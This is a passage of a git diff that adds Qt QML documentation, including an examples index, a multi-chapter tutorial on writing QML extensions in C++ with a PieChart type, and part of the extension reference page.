+At this point, when the switch toggles between the two states the knob will instantly change its \c x position between 1 and 78.
+In order for the the knob to move smoothly we add a transition that will animate the \c x property with an easing curve for a duration of 200ms.
+
+For more information on transitions see \l{QML Animation and Transitions}.
+
+\section1 Usage
+The switch can be used in a QML file, like this:
+\snippet examples/declarative/ui-components/slideswitch/slideswitch.qml 0
+*/
diff --git a/doc/src/declarative/examples.qdoc b/doc/src/declarative/examples.qdoc
new file mode 100644
index 00000000..b459faf4
--- /dev/null
+++ b/doc/src/declarative/examples.qdoc
@@ -0,0 +1,243 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:FDL$
+** GNU Free Documentation License
+** Alternatively, this file may be used under the terms of the GNU Free
+** Documentation License version 1.3 as published by the Free Software
+** Foundation and appearing in the file included in the packaging of
+** this file.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms
+** and conditions contained in a signed written agreement between you
+** and Nokia.
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+/*!
+ \page qdeclarativeexamples.html
+ \title QML Examples and Demos
+ \brief Building UIs with QML
+ \ingroup all-examples
+
+
+Qt includes a set of examples and demos that show how to use various aspects
+of QML. The examples are small demonstrations of particular QML components,
+while the demos contain more complete and functional applications.
+
+To run the examples and demos, open them in Qt Creator or use the included
+\l {QML Viewer} tool. The \l {QML Viewer} can be run from the command line:
+
+\code
+ qmlviewer $QTDIR/demos/declarative/samegame/samegame.qml
+\endcode
+
+On Mac OS X, you can run the included "QMLViewer" application from the
+Finder, or use the command line:
+
+\code
+ QMLViewer.app/Contents/MacOS/QMLViewer $QTDIR/demos/declarative/samegame/samegame.qml
+\endcode
+
+
+\section1 Demos
+
+The QML demos integrate a variety of features to demonstrate how QML
+can be used to produce sophisticated interfaces and applications:
+
+
+\table
+\row
+
+\o
+\l{demos/declarative/calculator}{Calculator}
+\image qml-calculator-example-small.png
+
+\o
+\l{demos/declarative/flickr}{Flickr Mobile}
+\image qml-flickr-demo-small.png
+
+\o
+\l{demos/declarative/minehunt}{Minehunt}
+\image qml-minehunt-demo-small.png
+
+\row
+
+\o
+\l{demos/declarative/photoviewer}{Photo Viewer}
+\image qml-photoviewer-demo-small.png
+
+\o
+\l{demos/declarative/rssnews}{RSS News Reader}
+\image qml-rssnews-demo-small.png
+
+\o
+\l{demos/declarative/samegame}{Same Game}
+\image qml-samegame-demo-small.png
+
+\row
+
+\o
+\l{demos/declarative/snake}{Snake}
+\image qml-snake-demo-small.png
+
+\o
+\l{demos/declarative/twitter}{Twitter}
+\image qml-twitter-demo-small.png
+
+\o
+\l{demos/declarative/webbrowser}{Web Browser}
+\image qml-webbrowser-demo-small.png
+
+\endtable
+
+The demos can be found in Qt's \c demos/declarative directory.
+
+
+\section1 Examples
+
+The QML examples are small, simple applications that show how to use a particular
+QML component or feature. If you are new
+to QML, you may also find the \l{QML Tutorial}{Hello World} and
+\l {QML Advanced Tutorial}{Same Game} tutorials useful.
+
+The examples can be found in Qt's \c examples/declarative directory.
+
+\section2 Animation
+\list
+\o \l{declarative/animation/basics/color-animation}{Color Animation}
+\o \l{declarative/animation/behaviors/behavior-example}{Behaviors}
+\o \l{declarative/animation/easing}{Easing}
+\o \l{declarative/animation/basics/property-animation}{Property Animation}
+\o \l{declarative/animation/states}{States}
+\o \l{declarative/animation/behaviors/wigglytext}{Wiggly Text}
+\endlist
+
+\section2 Image Elements
+\list
+\o \l{declarative/imageelements/borderimage}{BorderImage}
+\o \l{declarative/imageelements/image}{Image}
+\endlist
+
+\section2 Text
+\list
+\o \l{declarative/text/fonts}{Fonts}
+\o \l{declarative/text/textselection}{Text Selection}
+\endlist
+
+\section2 Positioners
+\list
+\o \l{declarative/positioners}{Example}
+\endlist
+
+\section2 Key Interaction
+\list
+\o \l{declarative/keyinteraction/focus}{Focus}
+\endlist
+
+\section2 Touch Interaction
+\list
+\o \l{declarative/touchinteraction/mousearea}{MouseArea}
+\endlist
+
+\section2 UI Components
+\list
+\o \l{declarative/ui-components/dialcontrol}{Dial control}
+\o \l{declarative/ui-components/flipable}{Flipable}
+\o \l{declarative/ui-components/progressbar}{Progress bar}
+\o \l{declarative/ui-components/scrollbar}{Scroll bar}
+\o \l{declarative/ui-components/searchbox}{Search box}
+\o \l{declarative/ui-components/slideswitch}{Slide switch}
+\o \l{declarative/ui-components/spinner}{Spinner}
+\o \l{declarative/ui-components/tabwidget}{Tab widget}
+\endlist
+
+\section2 Toys
+\list
+\o \l{declarative/toys/clocks}{Clocks}
+\o \l{declarative/toys/corkboards}{Corkboards}
+\o \l{declarative/toys/dynamicscene}{Dynamic Scene}
+\o \l{declarative/toys/tic-tac-toe}{Tic Tac Toe}
+\o \l{declarative/toys/tvtennis}{TV Tennis}
+\endlist
+
+\section2 Models and Views
+\list
+\o \l{declarative/modelviews/gridview}{GridView}
+\o \l{Models and Views: ListView Examples}{ListView}
+\o \l{declarative/modelviews/pathview}{PathView}
+\o \l{declarative/modelviews/package}{Package}
+\o \l{declarative/modelviews/parallax}{Parallax}
+\o \l{declarative/modelviews/visualitemmodel}{VisualItemModel}
+
+\o \l{declarative/modelviews/stringlistmodel}{String ListModel}
+\o \l{declarative/modelviews/objectlistmodel}{Object ListModel}
+\o \l{declarative/modelviews/abstractitemmodel}{AbstractItemModel}
+
+\o \l{Models and Views: WebView Examples}{WebView}
+\endlist
+
+\section2 XML
+\list
+\o \l{declarative/xml/xmlhttprequest}{XmlHttpRequest}
+\endlist
+
+\section2 Internationalization (i18n)
+\list
+\o \l{declarative/i18n}{Example}
+\endlist
+
+\section2 Right-to-left User Interfaces
+\list
+\o \l{declarative/righttoleft/layoutmirroring}{Layout mirroring}
+\o \l{declarative/righttoleft/layoutdirection}{Layout direction}
+\o \l{declarative/righttoleft/textalignment}{Text alignment}
+\endlist
+
+\section2 Threading
+\list
+\o \l{declarative/threading/threadedlistmodel}{Threaded ListModel}
+\o \l{declarative/threading/workerscript}{WorkerScript}
+\endlist
+
+\section2 Screen Orientation
+\list
+\o \l{declarative/screenorientation}{Example}
+\endlist
+
+\section2 SQL Local Storage
+\list
+\o \l{declarative/sqllocalstorage}{Example}
+\endlist
+
+\section2 C++ Extensions
+\list
+\o \l{declarative-cppextensions-reference.html}{Reference examples}
+\o \l{declarative/cppextensions/plugins}{Plugins}
+\o \l{declarative-cppextensions-qgraphicslayouts.html}{QGraphicsLayouts}
+\o \l{declarative/cppextensions/qwidgets}{QWidgets}
+\o \l{declarative/cppextensions/imageprovider}{Image provider}
+\o \l{declarative/cppextensions/networkaccessmanagerfactory}{Network access manager factory}
+\endlist
+
+
+\section1 Labs
+
+\list
+\o \l{src/imports/folderlistmodel}{Folder List Model} - a C++ model plugin
+\o \l{declarative/shadereffects}{Shader Effects}
+\endlist
+
+*/
+
diff --git a/doc/src/declarative/extending-tutorial.qdoc b/doc/src/declarative/extending-tutorial.qdoc
new file mode 100644
index 00000000..09dd3966
--- /dev/null
+++ b/doc/src/declarative/extending-tutorial.qdoc
@@ -0,0 +1,497 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:FDL$
+** GNU Free Documentation License
+** Alternatively, this file may be used under the terms of the GNU Free
+** Documentation License version 1.3 as published by the Free Software
+** Foundation and appearing in the file included in the packaging of
+** this file.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms
+** and conditions contained in a signed written agreement between you
+** and Nokia.
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+/*!
+\page qml-extending-tutorial-index.html
+\title Tutorial: Writing QML Extensions with C++
+
+The Qt Declarative module provides a set of APIs for extending QML through
+C++ extensions. You can write extensions to add your own QML types, extend existing
+Qt types, or call C/C++ functions that are not accessible from ordinary QML code.
+
+This tutorial shows how to write a QML extension using C++ that includes
+core QML features, including properties, signals and bindings. It also shows how
+extensions can be deployed through plugins.
+
+You can find the source code for this tutorial in \c Qt's
+examples/declarative/tutorials/extending directory.
+
+Tutorial chapters:
+
+\list 1
+\o \l{declarative/tutorials/extending/chapter1-basics}{Creating a New Type}
+\o \l{declarative/tutorials/extending/chapter2-methods}{Connecting to C++ Methods and Signals}
+\o \l{declarative/tutorials/extending/chapter3-bindings}{Property Binding}
+\o \l{declarative/tutorials/extending/chapter4-customPropertyTypes}{Using Custom Property Types}
+\o \l{declarative/tutorials/extending/chapter5-listproperties}{Using List Property Types}
+\o \l{declarative/tutorials/extending/chapter6-plugins}{Writing an Extension Plugin}
+\o \l{qml-extending-tutorial7.html}{In Summary}
+\endlist
+
+*/
+
+/*!
+\title Chapter 1: Creating a New Type
+
+\example declarative/tutorials/extending/chapter1-basics
+
+A common task when extending QML is to provide a new QML type that supports some
+ custom functionality beyond what is provided by the built-in \l {QML Elements}.
+For example, this could be done to implement particular data models, or provide
+elements with custom painting and drawing capabilities, or access system features
+like network programming that are not accessible through built-in QML features.
+
+In this tutorial, we will show how to use the C++ classes in the Qt Declarative
+module to extend QML. The end result will be a simple Pie Chart display implemented by
+several custom QML types connected together through QML features like bindings and
+signals, and made available to the QML runtime through a plugin.
+
+To begin with, let's create a new QML type called "PieChart" that has two properties: a name
+and a color. We will make it available in a \l {Modules}{module} called "Charts", with
+a module version of 1.0.
+
+We want this \c PieChart type to be usable from QML like this:
+
+\code
+ import Charts 1.0
+
+ PieChart {
+ width: 100; height: 100
+ name: "A simple pie chart"
+ color: "red"
+ }
+\endcode
+
+To do this, we need a C++ class that encapsulates this \c PieChart type and its two
+properties. Since QML makes extensive use of Qt's \l{Meta-Object System}{meta object system},
+this new class must:
+
+\list
+\o Inherit from QObject
+\o Declare its properties using the Q_PROPERTY macro
+\endlist
+
+Here is our \c PieChart class, defined in \c piechart.h:
+
+\snippet declarative/tutorials/extending/chapter1-basics/piechart.h 0
+
+The class inherits from QDeclarativeItem because we want to override
+QDeclarativeItem::paint() in order to draw. If the class just represented some
+data type and was not an item that actually needed to be displayed, it could simply inherit
+from QObject. Or, if we want to extend the functionality of an existing QObject-based
+class, it could inherit from that class instead.
+
+The \c PieChart class defines the two properties, \c name and \c color, with the Q_PROPERTY macro,
+and overrides QDeclarativeItem::paint(). The class implementation in \c piechart.cpp
+simply sets and returns the \c m_name and \c m_color values as appropriate, and
+implements \c paint() to draw a simple pie chart. It also turns off the
+QGraphicsItem::ItemHasNoContents flag to enable painting:
+
+\snippet declarative/tutorials/extending/chapter1-basics/piechart.cpp 0
+\dots 0
+\snippet declarative/tutorials/extending/chapter1-basics/piechart.cpp 1
+
+Now that we have defined the \c PieChart type, we will use it from QML. The \c app.qml
+file creates a \c PieChart item and display the pie chart's details
+using a standard QML \l Text item:
+
+\snippet declarative/tutorials/extending/chapter1-basics/app.qml 0
+
+Notice that although the color is specified as a string in QML, it is automatically
+converted to a QColor object for the PieChart \c color property. Automatic conversions are
+provided for various other \l {QML Basic Types}{basic types}; for example, a string
+like "640x480" can be automatically converted to a QSize value.
+
+We'll also create a C++ application that uses a QDeclarativeView to run and
+display \c app.qml. The application must register the \c PieChart type
+using the qmlRegisterType() function, to allow it to be used from QML. If
+you don't register the type, \c app.qml won't be able to create a \c PieChart.
+
+Here is the application \c main.cpp:
+
+\snippet declarative/tutorials/extending/chapter1-basics/main.cpp 0
+
+This call to qmlRegisterType() registers the \c PieChart type as a type called "PieChart", in a module named "Charts",
+with a module version of 1.0.
+
+Lastly, we write a \c .pro project file that includes the files and the \c declarative library:
+
+\quotefile declarative/tutorials/extending/chapter1-basics/chapter1-basics.pro
+
+Now we can build and run the application:
+
+\image extending-tutorial-chapter1.png
+
+Try it yourself with the code in Qt's \c examples/tutorials/extending/chapter1-basics directory.
+
+At the moment, the \c app.qml is run from within a C++ application.
+This may seem odd if you're used to running QML files with the \l {QML Viewer}.
+Later on, we'll show how to create a plugin so that you can run \c app.qml using the
+\l {QML Viewer} instead.
+
+*/
+
+
+/*!
+\title Chapter 2: Connecting to C++ Methods and Signals
+
+\example declarative/tutorials/extending/chapter2-methods
+
+Suppose we want \c PieChart to have a "clearChart()" method that erases the
+chart and then emits a "chartCleared" signal. Our \c app.qml would be able
+to call \c clearChart() and receive \c chartCleared() signals like this:
+
+\snippet declarative/tutorials/extending/chapter2-methods/app.qml 0
+
+\image extending-tutorial-chapter2.png
+
+To do this, we add a \c clearChart() method and a \c chartCleared() signal
+to our C++ class:
+
+\snippet declarative/tutorials/extending/chapter2-methods/piechart.h 0
+\dots
+\snippet declarative/tutorials/extending/chapter2-methods/piechart.h 1
+\dots
+\snippet declarative/tutorials/extending/chapter2-methods/piechart.h 2
+\dots
+\snippet declarative/tutorials/extending/chapter2-methods/piechart.h 3
+
+The use of Q_INVOKABLE makes the \c clearChart() method available to the
+Qt Meta-Object system, and in turn, to QML. Note that it could have
+been declared as as a Qt slot instead of using Q_INVOKABLE, as
+slots are also callable from QML. Both of these approaches are valid.
+
+The \c clearChart() method simply changes the color to Qt::transparent,
+repaints the chart, then emits the \c chartCleared() signal:
+
+\snippet declarative/tutorials/extending/chapter2-methods/piechart.cpp 0
+
+Now when we run the application and click the window, the pie chart
+disappears, and the application outputs:
+
+\code
+ The chart has been cleared
+\endcode
+
+Try out the example yourself with the updated code in Qt's \c examples/tutorials/extending/chapter2-methods directory.
+
+*/
+
+/*!
+\title Chapter 3: Adding Property Bindings
+
+\example declarative/tutorials/extending/chapter3-bindings
+
+Property bindings is a powerful feature of QML that allows values of different
+elements to be synchronized automatically. It uses signals to notify and update
+other elements' values when property values are changed.
+
+Let's enable property bindings for the \c color property. That means
+if we have code like this:
+
+\snippet declarative/tutorials/extending/chapter3-bindings/app.qml 0
+
+\image extending-tutorial-chapter3.png
+
+The "color: chartA.color" statement binds the \c color value of
+\c chartB to the \c color of \c chartA.
+Whenever \c chartA's \c color value changes, \c chartB's \c color value
+updates to the same value. When the window is clicked, the \c onClicked
+handler in the MouseArea changes the color of \c chartA, thereby changing
+both charts to the color blue.
+
+It's easy to enable property binding for the \c color property.
+We add a \l{Qt's Property System}{NOTIFY} feature to its Q_PROPERTY() declaration to indicate that a "colorChanged" signal
+is emitted whenever the value changes.
+
+\snippet declarative/tutorials/extending/chapter3-bindings/piechart.h 0
+\dots
+\snippet declarative/tutorials/extending/chapter3-bindings/piechart.h 1
+\dots
+\snippet declarative/tutorials/extending/chapter3-bindings/piechart.h 2
+\dots
+\snippet declarative/tutorials/extending/chapter3-bindings/piechart.h 3
+
+Then, we emit this signal in \c setPieSlice():
+
+\snippet declarative/tutorials/extending/chapter3-bindings/piechart.cpp 0
+
+It's important for \c setColor() to check that the color value has actually changed
+before emitting \c colorChanged(). This ensures the signal is not emitted unnecessarily and
+also prevents loops when other elements respond to the value change.
+
+The use of bindings is essential to QML. You should always add NOTIFY
+signals for properties if they are able to be implemented, so that your
+properties can be used in bindings. Properties that cannot be bound cannot be
+automatically updated and cannot be used as flexibly in QML. Also, since
+bindings are invoked so often and relied upon in QML usage, users of your
+custom QML types may see unexpected behavior if bindings are not implemented.
+
+*/
+
+/*!
+\title Chapter 4: Using Custom Property Types
+
+\example declarative/tutorials/extending/chapter4-customPropertyTypes
+
+The \c PieChart type currently has a string-type property and a color-type property.
+It could have many other types of properties. For example, it could have an
+int-type property to store an identifier for each chart:
+
+\code
+ // C++
+ class PieChart : public QDeclarativeItem
+ {
+ Q_PROPERTY(int chartId READ chartId WRITE setChartId NOTIFY chartIdChanged)
+ ...
+
+ public:
+ void setChartId(int chartId);
+ int chartId() const;
+ ...
+
+ signals:
+ void chartIdChanged();
+ };
+
+ // QML
+ PieChart {
+ ...
+ chartId: 100
+ }
+\endcode
+
+We can also use various other property types. QML has built-in support for the types
+listed in the \l{QML Basic Types} documentation, which includes the following:
+
+\list
+\o bool, unsigned int, int, float, double, qreal
+\o QString, QUrl, QColor
+\o QDate, QTime, QDateTime
+\o QPoint, QPointF, QSize, QSizeF, QRect, QRectF
+\o QVariant
+\endlist
+
+If we want to create a property whose type is not supported by QML by default,
+we need to register the type with QML.
+
+For example, let's replace the use of the \c property with a type called
+"PieSlice" that has a \c color property. Instead of assigning a color,
+we assign an \c PieSlice value which itself contains a \c color:
+
+\snippet declarative/tutorials/extending/chapter4-customPropertyTypes/app.qml 0
+
+Like \c PieChart, this new \c PieSlice type inherits from QDeclarativeItem and declares
+its properties with Q_PROPERTY():
+
+\snippet declarative/tutorials/extending/chapter4-customPropertyTypes/pieslice.h 0
+
+To use it in \c PieChart, we modify the \c color property declaration
+and associated method signatures:
+
+\snippet declarative/tutorials/extending/chapter4-customPropertyTypes/piechart.h 0
+\dots
+\snippet declarative/tutorials/extending/chapter4-customPropertyTypes/piechart.h 1
+\dots
+\snippet declarative/tutorials/extending/chapter4-customPropertyTypes/piechart.h 2
+\dots
+\snippet declarative/tutorials/extending/chapter4-customPropertyTypes/piechart.h 3
+
+There is one thing to be aware of when implementing \c setPieSlice(). The \c PieSlice
+is a visual item, so it must be set as a child of the \c PieChart using
+QDeclarativeItem::setParentItem() so that the \c PieChart knows to paint this child
+item when its contents are drawn:
+
+\snippet declarative/tutorials/extending/chapter4-customPropertyTypes/piechart.cpp 0
+
+
+Like the \c PieChart type, the \c PieSlice type has to be registered
+using qmlRegisterType() to be used from QML. As with \c PieChart, we'll add the
+type to the "Charts" module, version 1.0:
+
+\snippet declarative/tutorials/extending/chapter4-customPropertyTypes/main.cpp 0
+\dots
+\snippet declarative/tutorials/extending/chapter4-customPropertyTypes/main.cpp 1
+\dots
+\snippet declarative/tutorials/extending/chapter4-customPropertyTypes/main.cpp 2
+
+Try it out with the code in Qt's \c examples/tutorials/extending/chapter4-customPropertyTypes directory.
+
+*/
+
+
+/*!
+\title Chapter 5: Using List Property Types
+
+\example declarative/tutorials/extending/chapter5-listproperties
+
+Right now, a \c PieChart can only have one \c PieSlice. Ideally a chart would
+have multiple slices, with different colors and sizes. To do this, we could
+have a \c slices property that accepts a list of \c PieSlice items:
+
+\snippet declarative/tutorials/extending/chapter5-listproperties/app.qml 0
+
+\image extending-tutorial-chapter5.png
+
+To do this, we replace the \c pieSlice property in \c PieChart with a \c slices property,
+declared as a QDeclarativeListProperty type. The QDeclarativeListProperty class enables the
+creation of list properties in QML extensions. We replace the \c pieSlice()
+function with a \c slices() function that returns a list of slices, and add
+an internal \c append_slice() function (discussed below). We also use a QList to
+store the internal list of slices as \c m_slices:
+
+\snippet declarative/tutorials/extending/chapter5-listproperties/piechart.h 0
+\dots
+\snippet declarative/tutorials/extending/chapter5-listproperties/piechart.h 1
+\dots
+\snippet declarative/tutorials/extending/chapter5-listproperties/piechart.h 2
+
+Although the \c slices property does not have an associated \c WRITE function,
+it is still modifiable because of the way QDeclarativeListProperty works.
+In the \c PieChart implementation, we implement \c PieChart::slices() to
+return a QDeclarativeListProperty value and indicate that the internal
+\c PieChart::append_slice() function is to be called whenever a request is made from QML
+to add items to the list:
+
+\snippet declarative/tutorials/extending/chapter5-listproperties/piechart.cpp 0
+
+The \c append_slice() function simply sets the parent item as before,
+and adds the new item to the \c m_slices list. As you can see, the append function for a
+QDeclarativeListProperty is called with two arguments: the list property, and
+the item that is to be appended.
+
+The \c PieSlice class has also been modified to include \c fromAngle and \c angleSpan
+properties and to draw the slice according to these values. This is a straightforward
+modification if you have read the previous pages in this tutorial, so the code is not shown here.
+
+The complete code can be seen in the updated \c examples/tutorials/extending/chapter5-listproperties directory.
+
+*/
+
+
+/*!
+\title Chapter 6: Writing an Extension Plugin
+
+\example declarative/tutorials/extending/chapter6-plugins
+
+Currently the \c PieChart and \c PieSlice types are used by \c app.qml,
+which is displayed using a QDeclarativeView in a C++ application. An alternative
+way to use our QML extension is to create a plugin library to make it available
+to the QML engine. This allows \c app.qml to be loaded with the \l {QML Viewer}
+(or some other QML \l{Qt Declarative UI Runtime}{runtime} application) instead of writing a \c main.cpp file and
+loading our own C++ application.
+
+To create a plugin library, we need:
+
+\list
+\o A plugin class that registers our QML types
+\o A project file that describes the plugin
+\o A \l{Writing a qmldir file}{qmldir} file that tells the QML engine to load the plugin
+\endlist
+
+First, we create a plugin class named \c ChartsPlugin. It subclasses QDeclarativeExtensionPlugin
+and registers our QML types in the inherited \l{QDeclarativeExtensionPlugin::}{registerTypes()} method. It also calls
+Q_EXPORT_PLUGIN2 for Qt's \l{How to Create Qt Plugins}{plugin system}.
+
+Here is the \c ChartsPlugin definition in \c chartsplugin.h:
+
+\snippet declarative/tutorials/extending/chapter6-plugins/chartsplugin.h 0
+
+And its implementation in \c chartsplugin.cpp:
+
+\snippet declarative/tutorials/extending/chapter6-plugins/chartsplugin.cpp 0
+
+Then, we write a \c .pro project file that defines the project as a plugin library
+and specifies with DESTDIR that library files should be built into a "lib" subdirectory:
+
+\quotefile declarative/tutorials/extending/chapter6-plugins/chapter6-plugins.pro
+
+Finally, we add a \l{Writing a qmldir file}{qmldir} file that is automatically parsed by the QML engine.
+In this file, we specify that a plugin named "chapter6-plugin" (the name
+of the example project) can be found in the "lib" subdirectory:
+
+\quotefile declarative/tutorials/extending/chapter6-plugins/qmldir
+
+Now we have a plugin, and instead of having a main.cpp and an executable, we can build
+the project and then load the QML file in the \l {QML Viewer}:
+
+\code
+ qmlviewer app.qml
+\endcode
+
+(On Mac OS X, you can launch the "QMLViewer" application instead.)
+
+Notice the "import Charts 1.0" statement has disappeared from \c app.qml. This is
+because the \c qmldir file is in the same directory as \c app.qml: this is equivalent to
+having PieChart.qml and PieSlice.qml files inside the project directory, which could both
+be used by \c app.qml without import statements.
+*/
+
+
+/*!
+\page qml-extending-tutorial7.html
+\title Chapter 7: In Summary
+
+In this tutorial, we've shown the basic steps for creating a QML extension:
+
+\list
+\o Define new QML types by subclassing QObject and registering them with qmlRegisterType()
+\o Add callable methods using Q_INVOKABLE or Qt slots, and connect to Qt signals with an \c onSignal syntax
+\o Add property bindings by defining \l{Qt's Property System}{NOTIFY} signals
+\o Define custom property types if the built-in types are not sufficient
+\o Define list property types using QDeclarativeListProperty
+\o Create a plugin library by defining a Qt plugin and writing a \c qmldir file
+\endlist
+
+
+The \l {Extending QML Functionalities using C++} reference documentation shows
+other useful features that can be added to QML extensions. For example, we
+could use \l{Default Property}{default properties} to allow
+slices to be added without using the \c slices property:
+
+\code
+ PieChart {
+ PieSlice { ... }
+ PieSlice { ... }
+ PieSlice { ... }
+ }
+\endcode
+
+Or randomly add and remove slices from time to time using \l{Property Value Sources}{property value sources}:
+
+\code
+ PieChart {
+ PieSliceRandomizer on slices {}
+ }
+\endcode
+
+
+See the \l{Extending QML Functionalities using C++} reference documentation
+for more information.
+
+*/
+
diff --git a/doc/src/declarative/extending.qdoc b/doc/src/declarative/extending.qdoc
new file mode 100644
index 00000000..923d378b
--- /dev/null
+++ b/doc/src/declarative/extending.qdoc
@@ -0,0 +1,708 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:FDL$
+** GNU Free Documentation License
+** Alternatively, this file may be used under the terms of the GNU Free
+** Documentation License version 1.3 as published by the Free Software
+** Foundation and appearing in the file included in the packaging of
+** this file.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms
+** and conditions contained in a signed written agreement between you
+** and Nokia.
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+/*!
+\page qml-extending.html
+\ingroup qml-features
+\contentspage QML Features
+\previouspage {Presenting Data with Views}
+\nextpage {Using QML Bindings in C++ Applications}
+\title Extending QML Functionalities using C++
+
+The QML syntax declaratively describes how to construct an in-memory object
+tree. In Qt, QML is mainly used to describe a visual scene graph, but it is
+not conceptually limited to this: the QML format is an abstract description of
+any object tree. All the QML element types included in Qt are implemented using
+the C++ extension mechanisms describe on this page. Programmers can use these
+APIs to add new types that interact with the existing Qt types, or to repurpose
+QML for their own independent use.
+
+\tableofcontents
+
+\section1 Adding Types
+\target adding-types
+
+\snippet examples/declarative/cppextensions/referenceexamples/adding/example.qml 0
+
+The QML snippet shown above instantiates one \c Person instance and sets
+the \c name and \c shoeSize properties on it. Everything in QML ultimately comes down
+to either instantiating an object instance, or assigning a property a value.
+
+QML relies heavily on Qt's meta object system and can only instantiate classes
+that derive from QObject. For visual element types, this will usually mean a subclass
+of QDeclarativeItem; for models used with the view elements, a subclass of QAbstractItemModel;
+and for arbitrary objects with properties, a direct subclass of QObject.
+
+The QML engine has no intrinsic knowledge of any class types. Instead the
+programmer must register the C++ types with their corresponding QML names.
+
+Custom C++ types are registered using a template function:
+
+\quotation
+
+\code
+template<typename T>
+int qmlRegisterType(const char *uri, int versionMajor, int versionMinor, const char *qmlName)
+\endcode
+
+Calling qmlRegisterType() registers the C++ type \a T with the QML
+system, and makes it available in QML under the name \a qmlName in
+library \a uri version \a versionMajor.versionMinor. The \a qmlName
+can be the same as the C++ type name.
+
+Type \a T must be a concrete type that inherits QObject and has a default
+constructor.
+
+\endquotation
+
+#include <QtDeclarative> to use qmlRegisterType().
+
+Types can be registered by libraries, application code, or by plugins
+(see QDeclarativeExtensionPlugin).
+
+Once registered, all \l {Qt's Property System}{properties} of the
+supported types are available in QML. QML has intrinsic support for
+properties of the types listed in the \l{QML Basic Types}
+document, which includes the following:
+
+\list
+\o bool, unsigned int, int, float, double, qreal
+\o QString, QUrl, QColor
+\o QDate, QTime, QDateTime
+\o QPoint, QPointF, QSize, QSizeF, QRect, QRectF
+\o QVariant
+\endlist
+
+When a property of a supported type is added to a C++ class, in a QML
+element based on the C++ class, a \e{value-changed} signal handler
+will be available. See \l{Signal Support} below.
+
+QML is typesafe. Attempting to assign an invalid value to a property
+will generate an error. For example, assuming the \e{name} property
+of the \c Person element had a type of QString, this would cause an
+error:
+
+\code
+Person {
+ // Will NOT work
+ name: 12
+}
+\endcode
+
+\l {Extending QML - Adding Types Example} shows the complete code used to create
+the \c Person type.
+
+\section1 QML Type Versioning
+
+In C++ adding a new method or property cannot break old applications.
+In QML, however, new methods and properties can change what a name previously
+resolved to to within a scope chain.
+
+For example, consider these two QML files
+
+\code
+// main.qml
+import QtQuick 1.0
+Item {
+ id: root
+ MyComponent {}
+}
+\endcode
+
+\code
+// MyComponent.qml
+import MyModule 1.0
+CppItem {
+ value: root.x
+}
+\endcode
+
+where CppItem maps to the C++ class QCppItem.
+
+If the author of QCppItem adds a "root" property to QCppItem in a new version of the module,
+it will break the above program as \c root.x now resolves to a different value.
+The solution is to allow the author of QCppItem to state that the new \c root property is
+only available from a particular version of QCppItem onwards. This permits new properties
+and features to be added to existing elements without breaking existing programs.
+
+QML enables this by allowing the properties, methods and signals of a class to be tagged with
+a particular \e revision, so that they are only accessible if the relevant module version
+is imported. In this case, the author can tag the \c root property as being added in
+\e {revision 1} of the class, and register that revision in version 1.1 of the module.
+
+The REVISION tag is used to mark the \c root property as added in revision 1 of the class.
+Methods such as Q_INVOKABLE's, signals and slots can also be tagged for a
+revision using the \c Q_REVISION(x) macro:
+
+\code
+class CppItem : public QObject
+{
+ Q_OBJECT
+ Q_PROPERTY(int root READ root WRITE setRoot NOTIFY rootChanged REVISION 1)
+
+signals:
+ Q_REVISION(1) void rootChanged();
+};
+\endcode
+
+To register the new class revision to a particular version the following function is used:
+
+\code
+template<typename T, int metaObjectRevision>
+int qmlRegisterType(const char *uri, int versionMajor, int versionMinor, const char *qmlName)
+\endcode
+
+To register \c CppItem version 1 for \c {MyModule 1.1}:
+
+\code
+qmlRegisterType<QCppItem,1>("MyModule", 1, 1, "CppItem")
+\endcode
+
+\c root is only available when MyModule 1.1 is imported.
+
+
+\section1 Object and List Property Types
+
+\snippet examples/declarative/cppextensions/referenceexamples/properties/example.qml 0
+
+The QML snippet shown above assigns a \c Person object to the \c BirthdayParty's
+\c host property, and assigns three \c Person objects to the guests property.
+
+QML can set properties of types that are more complex than basic intrinsics like
+integers and strings. Properties can also be object pointers, Qt interface
+pointers, lists of object pointers, and lists of Qt interface pointers. As QML
+is typesafe it ensures that only valid types are assigned to these properties,
+just like it does for primitive types.
+
+Properties that are pointers to objects or Qt interfaces are declared with the
+Q_PROPERTY() macro, just like other properties. The \c host property
+declaration looks like this:
+
+\snippet examples/declarative/cppextensions/referenceexamples/properties/birthdayparty.h 1
+
+As long as the property type, in this case \c Person, is registered with QML the
+property can be assigned.
+
+QML also supports assigning Qt interfaces. To assign to a property whose type
+is a Qt interface pointer, the interface must also be registered with QML. As
+they cannot be instantiated directly, registering a Qt interface is different
+from registering a new QML type. The following function is used instead:
+
+\quotation
+\code
+template<typename T>
+int qmlRegisterInterface(const char *typeName)
+\endcode
+
+This registers the C++ interface \a T with the QML system as \a typeName.
+
+Following registration, QML can coerce objects that implement this interface
+for assignment to appropriately typed properties.
+\endquotation
+
+The \c guests property is a list of \c Person objects. Properties that are lists
+of objects or Qt interfaces are also declared with the Q_PROPERTY() macro, just
+like other properties. List properties must have the type \c {QDeclarativeListProperty<T>}.
+As with object properties, the type \a T must be registered with QML.
+
+The \c guest property declaration looks like this:
+
+\snippet examples/declarative/cppextensions/referenceexamples/properties/birthdayparty.h 2
+
+\l {Extending QML - Object and List Property Types Example} shows the complete
+code used to create the \c BirthdayParty type.
+
+\section1 Inheritance and Coercion
+
+\snippet examples/declarative/cppextensions/referenceexamples/coercion/example.qml 0
+
